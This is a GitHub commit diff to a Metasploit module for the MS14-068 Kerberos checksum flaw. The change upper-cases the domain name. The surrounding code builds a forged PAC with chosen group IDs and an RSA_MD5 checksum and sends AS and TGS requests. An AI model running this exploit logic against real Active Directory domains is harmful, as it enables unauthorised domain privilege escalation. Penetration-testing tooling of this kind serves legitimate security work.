Skip to content

Commit 265e0a7

Browse files
committed
Upper case domain
1 parent ed2d0cd commit 265e0a7

File tree

1 file changed

+10
-6
lines changed

1 file changed

+10
-6
lines changed

modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ def initialize(info = {})
4545
[
4646
OptString.new('USER', [ true, 'The Domain User' ]),
4747
OptString.new('PASSWORD', [ true, 'The Domain User password' ]),
48-
OptString.new('DOMAIN', [ true, 'The Domain Ex: DEMO.LOCAL' ]),
48+
OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]),
4949
OptString.new('USER_SID', [ true, 'The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000'])
5050
], self.class)
5151
end
@@ -58,6 +58,10 @@ def run
5858
return
5959
end
6060

61+
domain = datastore['DOMAIN'].upcase
62+
63+
print_status("Using domain #{domain}...")
64+
6165
user_sid_arr = datastore['USER_SID'].split('-')
6266
domain_sid = user_sid_arr[0, user_sid_arr.length - 1].join('-')
6367
user_rid = user_sid_arr[user_sid_arr.length - 1].to_i
@@ -76,8 +80,8 @@ def run
7680
print_status("#{peer} - Sending AS-REQ...")
7781
res = send_request_as(
7882
client_name: "#{datastore['USER']}",
79-
server_name: "krbtgt/#{datastore['DOMAIN']}",
80-
realm: "#{datastore['DOMAIN']}",
83+
server_name: "krbtgt/#{domain}",
84+
realm: "#{domain}",
8185
key: password_digest,
8286
pa_data: pre_auth
8387
)
@@ -109,7 +113,7 @@ def run
109113
group_ids: groups,
110114
domain_id: domain_sid,
111115
user_id: user_rid,
112-
realm: datastore['DOMAIN'],
116+
realm: domain,
113117
logon_time: logon_time,
114118
checksum_type: Rex::Proto::Kerberos::Crypto::RSA_MD5
115119
)
@@ -121,8 +125,8 @@ def run
121125

122126
res = send_request_tgs(
123127
client_name: datastore['USER'],
124-
server_name: "krbtgt/#{datastore['DOMAIN']}",
125-
realm: datastore['DOMAIN'],
128+
server_name: "krbtgt/#{domain}",
129+
realm: domain,
126130
session_key: session_key,
127131
ticket: ticket,
128132
auth_data: auth_data,

0 commit comments

Comments
 (0)